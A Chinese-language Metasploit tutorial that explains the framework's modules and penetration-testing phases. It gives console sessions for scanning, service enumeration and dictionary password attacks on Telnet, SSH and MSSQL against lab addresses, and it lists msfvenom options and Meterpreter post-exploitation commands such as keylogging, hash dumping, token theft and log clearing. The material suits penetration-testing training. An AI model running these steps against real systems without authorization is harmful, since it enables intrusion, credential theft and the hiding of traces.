Metasploit 简介
Metasploit是一个开源的渗透测试开源软件,也是一个逐步发展成熟的漏洞研究与渗透测试代码开发平台(可扩展),支持整个渗透测试过程的安全技术集成开发与应用环境。
Metasploit技术架构
- 辅助模块
Metasploit为渗透测试的信息搜集环节提供了大量的辅助模块支持,包括针对各种网络服务的扫描与查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz、测试发掘漏洞、实施网络协议欺骗等模块。
辅助模块能够帮助渗透测试者在渗透攻击之前取得目标系统丰富的情报信息。
- 渗透攻击模块
渗透攻击模块是利用发现的安全漏洞或配置弱点对目标系统进行攻击,以植入和运行攻击载荷,从而获取对远程目标系统访问权的代码组件。
- 主动渗透攻击所利用的安全漏洞位于网络服务端软件与服务承载的上层应用程序之中,由于这些服务通常是在主机上开启一些监听端口并等待客户端连接,因此针对它们的渗透攻击可以主动发起,通过连接目标系统网络服务,注入一些特殊构造的包含"邪恶"攻击数据的网络请求内容,触发安全漏洞并使得远程服务进程执行在"邪恶"数据中包含攻击载荷,从而获取目标系统的控制会话。
- 被动渗透攻击利用的漏洞位于客户端软件中,如浏览器、浏览器插件、电子邮件客户端、Office与Adobe等各种文档阅读与编辑软件。对于这类存在于客户端软件的安全漏洞,我们无法主动地将数据从远程输入到客户端软件中,因此只能采用被动渗透攻击的方式,即构造出"邪恶"的网页、电子邮件或文档文件,并通过架设包含此类恶意内容的服务、发送邮件附件、结合社会工程学分发并诱骗目标用户打开、结合网络欺骗和劫持技术等方式,等目标系统上的用户访问到这些邪恶的内容,从而触发客户端软件中的安全漏洞,给出控制目标系统的Shell会话。
- 攻击载荷模块
攻击载荷是在渗透攻击成功后使目标系统运行的一段植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。
- 空指令模块
空指令(NOP)是一些对程序运行状态不会造成任何实质影响的空操作或者无关操作指令,最典型的空指令就是空操作,在x86 CPU 体系架构平台上的操作码是0x90。
- 编码器模块
攻击载荷模块与空指令模块组装完成一个指令序列后,在这段指令被渗透攻击模块加入邪恶数据缓冲区交由目标系统运行之前,Metasploit 框架还需要完成一道非常重要的工序–编码。
编码器模块的第一个使命就是确保攻击载荷中不会出现渗透攻击过程中应加以避免的"坏字符"。
编码器的第二个使命就是对攻击载荷进行"免杀"处理。
- 后渗透攻击模块
后渗透攻击模块主要支持在渗透攻击取得目标系统控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步拓展、实施跳板攻击等。
- 免杀模块
对攻击载荷进行"免杀"处理。
Metasploit渗透阶段
渗透攻击是目前Metasploit最强大和最具吸引力的核心功能,Metasploit
框架中集成了数百个针对主流操作系统平台上,不同网络服务与应用软件安全漏洞的渗透攻击模块,可以由用户在渗透攻击场景中根据漏洞扫描结果进行选择,并能够自由装配该平台上适用的具有指定功能的攻击载荷,然后通过自动化编码机制绕过攻击限制与检测措施,对目标系统实施远程攻击,获取系统的访问控制权。
除了渗透攻击之外,Metasploit在发展过程中逐渐增加对渗透测试全过程的支持,包括情报搜集、威胁建模、漏洞分析、后渗透攻击与报告生成。
- 情报搜集阶段
Metasploit一方面通过内建的一系列扫描器与查点辅助模块来获取远程服务器信息,另一方面通过插件机制集成调用Nmap, Nessus, OpenVAS等业界著名的开源网络扫描工具,从而具备全面的信息搜集能力,为渗透攻击实施提供必不可少的精确情报。
- 威胁建模阶段
在搜集信息之后, Metasploit支持一系列数据库命令操作直接将这些信息汇总至PostgreSQL、MySQL、SQLite 数据库中,并为用户提供易用的数据库查询命令,可以帮助渗透测试者对目标系统搜索到的情报进行威胁建模,从中找出最可行的攻击路径。
- 漏洞分析阶段
除了信息搜集环节能够直接扫描出一些已公布的安全漏洞之外,Metasploit
中还提供了大量的协议Fuzz 测试器与Web应用漏洞探测分析模块,支持具有一定水平能力的渗透测试者在实际过程中尝试挖掘出ODay漏洞,并对漏洞机理与利用方法进行深入分析,而这将为渗透攻击目标带来更大的杀伤力,并提升渗透测试流程的技术含金量。
- 后渗透攻击阶段
在成功实施渗透攻击并获得目标系统的远程控制权之后,Metasploit框架中另一个极具威名的工具Meterpreter 在后渗透攻击阶段提供了强大功能。
Meterpreter可以看作一个支持多操作系统平台,可以仅仅驻留于内存中并具备免杀能力的高级后门工具,Meterpreter中实现了特权提升、信息搜取、系统监控、跳板攻击与内网拓展等多样化的功能特性,此外还支持一种灵活可扩展的方式来加载额外功能的后渗透攻击模块。
- 报告生成阶段
Metasploit框架获得的渗透测试结果可以输入至内置数据库中,因此这些结果可以通过数据查询来获取,并辅助渗透测试报告的写作。
商业版的Metasploit Pro具备了更加强大的报告生成功能,可以输出HTML、XML、Word 和PDF格式的报告,把那个支持定制渗透测试报告模板。
Metasploit使用命令
MSF启动命令
msfconsole
MSF更新命令
apt-get update
apt-get install metasploit-framework
一个模块就是一个rb脚本
Metasploit情报搜集
- 网站敏感目录扫描
可以借助Metasploit 中的brute_dirs,dir_listing,dir_scanner等辅助模块来进行敏感目录扫描。
主要使用暴力猜解的方式工作,注意此处需要提供一个目录字典。
msf5 > use auxiliary/scanner/http/dir_scanner
msf5 auxiliary(scanner/http/dir_scanner) > set RHOSTS 172.16.132.138RHOSTS => 172.16.132.138
msf5 auxiliary(scanner/http/dir_scanner) > set PATH /cms/PATH => /cms/
msf5 auxiliary(scanner/http/dir_scanner) > set THREADS 50THREADS => 50
msf5 auxiliary(scanner/http/dir_scanner) > exploit
- dir_scanner
模块发现了网站上的一些目录,Admin,admin,images。只要字典足够大,可以找到更多的敏感目录。
- 主机发现
Metasploit中提供了一些辅助模块可用于主机发现,这些模块位于
modules/auxiliary/scanner/discovery/目录中。
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/empty_udp
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep
可以使用arp_sweep来枚举本地局域网中的所有活跃主机。
msf5 > use auxiliary/scanner/discovery/arp_sweep
msf5 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 172. 16.132.160/24
RHOSTS => 172.16.132.160/24
msf5 auxiliary(scanner/discovery/arp_sweep) > set THREADS 50 THREADS => 50
msf5 auxiliary(scanner/discovery/arp_sweep) > exploit
- 端口扫描
Metasploit 的辅助模块中提供了几款实用的端口扫描器。
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/xmas
auxiliary/scanner/pontscan/ftpbounce
auxiliary/scanner/portscan/tcp
一般情况下推荐使用syn
端口扫描器,因为他的扫描速度较快,结果比较准确且不易被对方察觉。
msf5 > use auxiliary/scanner/portscan/syn
msf5 auxiliary(scanner/portscan/syn) > set RHOSTS 172.16.132.138
RHOSTS => 172.16.132.138
msf5 auxiliary(scanner/portscan/syn) > set THREADS 50THREADS => 50
msf5 auxiliary(scanner/portscan/syn) > exploit
- 探测服务详细信息
在Metasploit 中有一些插件可以调用系统中的命令,比如可以使用Nmap探测目标的详细服务信息,命令[nmap -sS -Pn 192.168.1.1 -sV],
参数说明:
-sS 使用SYN 半连接扫描
-Pn 在扫描之前,不发送ICME echo 请求测试目标是否活跃
-sV 探测服务详细版本
[nmap -sS -Pn 172.16.132.138 -sV]
- 服务查点
在Metasploit的辅助模块中,有很多用于服务扫描和查点的工具,这些工具通常以[service_namel_version命名。该模块可用于遍历网络中包含某种服务的主机,并进一步确定服务的版本。
- telnet 服务查点
Telnet 是一个历史悠久但先天缺乏安全性的网络服务。由于Telnet
没有对传输的数据进行加密,越来越多的管理员渐渐使用更为安全的SSH协议代替它。尽管如此,很多价格昂贵、使用寿命更长的大型交换机使用Telnet
协议的可能性更大,而此类交换机在网络中的位置一般来说都非常重要。
可以使用telnet_version模块扫描一下是否有主机或设备开启了Tenlnet 服务。
msf5 > use auxiliary/scanner/telnet/telnet_version
msf5 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 172.16.132.160/24RHOSTS => 172.16.132.160/24
msf5 auxiliary (scanner/telnet/telnet_version) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/telnet/telnet_version) > exploit
- SSH 服务查点
通常管理员会使用SSH对服务器进行远程管理,服务器会向SSH 客户端返回一个远程Shell连接。如果没有做其他的安全增强配置,只要获取服务的登录口令,就可以使用SSH客户端登录服务器,那就相当于获取了响应登录用户的所有权限。
可以使用ssh_version模块遍历网络中开启SSH 服务的主机。
msf5 > use auxiliary/scanner/ssh/ssh_version
msf5 auxiliary (scanner/ssh/ssh_version) > set RHOSTS 172.16.132.160/24
RHOSTS => 172.16.132.160/24
msf5 auxiliary(scanner/ssh/ssh_version) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/ssh/ssh_version) > exploit
- MSSQL 服务查点
可以使用mysql_ping查找网络模块中的Microsoft SQL Server。
msf5 > use auxiliary/scanner/mssql/mssql_ping
msf5 auxiliary(scanner/mssql/mssql_ping) > set RHOSTS 172.16.132.160/24back
RHOSTS => 172.16.132.160/24
msf5 auxiliary (scanner/mssql/mssql_ping) > set THREADS 50
THREADS => 50
ms f5 auxiliary(scanner/mssql/mssql_ping) > exploit
- 口令猜测
- Telnet 服务口令猜解
msf5 > use auxiliary/scanner/telnet/telnet_login
msf5 auxiliary (scanner/telnet/telnet_login) > set RHOSTS 172.16.132.138
RHOSTS => 172.16.132.138
msf5 auxiliary(scanner/telnet/telnet_login) > set USER_FILE /root/dic/user.dic
USER_FILE => /root/dic/user.dic
msf5 auxiliary(scanner/telnet/telnet_login) > set PASS_FILE /root/dic/pwd.dic
PASS_FILE => /root/dic/pwd.dic
msf5 auxiliary(scanner/telnet/telnet_login) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/telnet/telnet_login) > exploit
- SSH 服务口令猜解
在确定了网络上的SSH 服务之后,可以使用MSF 中的ssh_login 模块对SSH服务进行口令猜测攻击,在进行口令攻击之前,需要一个好用的用户名和口令字典。
msf5 > use auxiliary/scanner/ssh/ssh_login
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 172.16.132.160
RHOSTS => 172.16.132.160
msf5 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/dic/user.dic
USER_FILE => /root/dic/user.dic
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/dic/pwd.dic
PASS_FILE => /root/dic/pwd.dic
msf5 auxiliary(scanner/ssh/ssh_login) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/ssh/ssh_login) > exploit
- MSSQL 服务破解
msf5 > use auxiliary/scanner/mssql/mssql_login
msf5 auxiliary(scanner/mssql/mssql_login) > set RHOSTS 172.16.132.135
RHOSTS => 172.16.132.135
msf5 auxiliary (scanner/mssql/mssql_login) > set USER_FILE /root/dic/user.dic
USER_FILE => /root/dic/user.dic
msf5 auxiliary(scanner/mssql/mssql_login) > set PASS_FILE /root/dic/pwd.dic
PASS_FILE => /root/dic/pwd.dic
msf5 auxiliary (scanner/mssql/mssql_login) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/mssql/mssql_login) > exploit
网络服务渗透攻击
- MS17-010 “永恒之蓝”
社会工程学
ms fvenom
- 参数说明
-p
-payload
指定需要使用的payload (攻击载荷)
-f
--format
指定输出格式
-1
--list
列出指定模块的所有资源
-n
-nopsled
为payload预先指定一个NOP 滑动长度
-e
encoder
[encoder]
指定需要使用的encoder (编码器)
-a
-arch
指定payload的目标架构
--platform
指定payload的目标平台
-S
space
设定有效攻击载荷的最大长度-b
--bad-chars
设定规避字符
-I
--iterations
指定payload 的编码次数
-c
-add-code
指定一个附加的win32 shellcode文件
-x
--template
指定一个自定义的可执行文件作为模板
-k
--keep
保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options
列举payload的标准选项
-o
--out
保存payload
-v
--var-name
指定一个自定义变量,以确定输出格式
--shellest
最小化生成payload
-h
--help
查看帮助选项
--help-formats
查看msf支持的输出格式列表
Meterpreter
meterpreter 是一个高级的,动态的,可拓展的Payload,出现meterpreter 我们就有了shell,可以执行非常多的命令,去操控远端设备。
background 将Meterpreter 终端隐藏在后台
bgkill 杀死一个背景meterpreter脚本
bglist 提供所有正在运行的后台脚本的列表
bgrun 作为一个后台线程运行脚本
channel 显示活动频道
close 关闭通道
exit 终止meterpreter会话
help 帮助菜单
interact 与通道进行交互
irb 进入Ruby 脚本模式
migrate 切换进程
quit 终止meterpreter会话
read 从通道读取数据
run 执行以后它选定的meterpreter脚本
use 加载meterpreter的扩展
write 将数据写入到一个通道
cd 更改目录对受害人
del 删除文件对受害人
getlwd 打印本地目录
getwd 打印工作目录
lcd 更改本地目录
lpwd 打印本地目录
ls 列出在当前目录中的文件列表
mkdir 在受害者系统上的创建目录
pwd 输出工作目录
rm 删除文件
rmdir 受害者系统上删除目录
upload 从攻击者的系统往受害者系统上传文件
cat 查看文件内容
edit 编辑文件
download 从受害者系统文件下载
search 搜索文件
ipconfig 显示网络接口的关键信息,包括 IP 地址、 等。
portfwd 端口转发
route 查看或修改受害者路由表
clearav 清除了受害者的计算机上的事件日志
drop_token 被盗的令牌
execute 执行命令
getpid 获取当前进程 ID (PID)
getprivs 尽可能获取尽可能多的特权
getuid 获取作为运行服务器的用户
kill 终止指定 PID 的进程
ps 列出正在运行的进程
reboot 重新启动受害人的计算机
reg 与受害人的注册表进行交互
rev2self 在受害者机器上调用 RevertToSelf()
shell 获取系统的控制台shell
shutdown 关闭了受害者的计算机
steal_token 试图窃取指定的 (PID) 进程的令牌
sysinfo 获取有关受害者计算机操作系统和名称等的详细信息
quit 关闭当前的Meterpreter 会话,返回MSF终端
enumdesktops 列出所有可访问台式机
getdesktop 获取当前的 meterpreter 桌面
idletime 检查长时间以来,受害者系统空闲进程
keyscan_dump 键盘记录软件的内容转储
keyscan_start 启动时与如Word或浏览器的进程相关联的键盘记录软件
keyscan_stop 停止键盘记录软件
screenshot 屏幕快照
set_desktop 更改 meterpreter 桌面
uictl 启用用户界面组件的一些控件
getsystem 获得系统管理员权限
hashdump 抓取哈希密码 (SAM) 文件中的值
请注意 hashdump 会可以跳过杀毒软件,但现在有两个脚本,都更加隐蔽,”run hashdump”和”run smart_hashdump”。
timestomp 操作修改,访问,并创建一个文件的属性
sessions 查看已经成功获取的会话。-i选项,切入后台会话
routesysinfo 查看路由信息,设置路由查看系统信息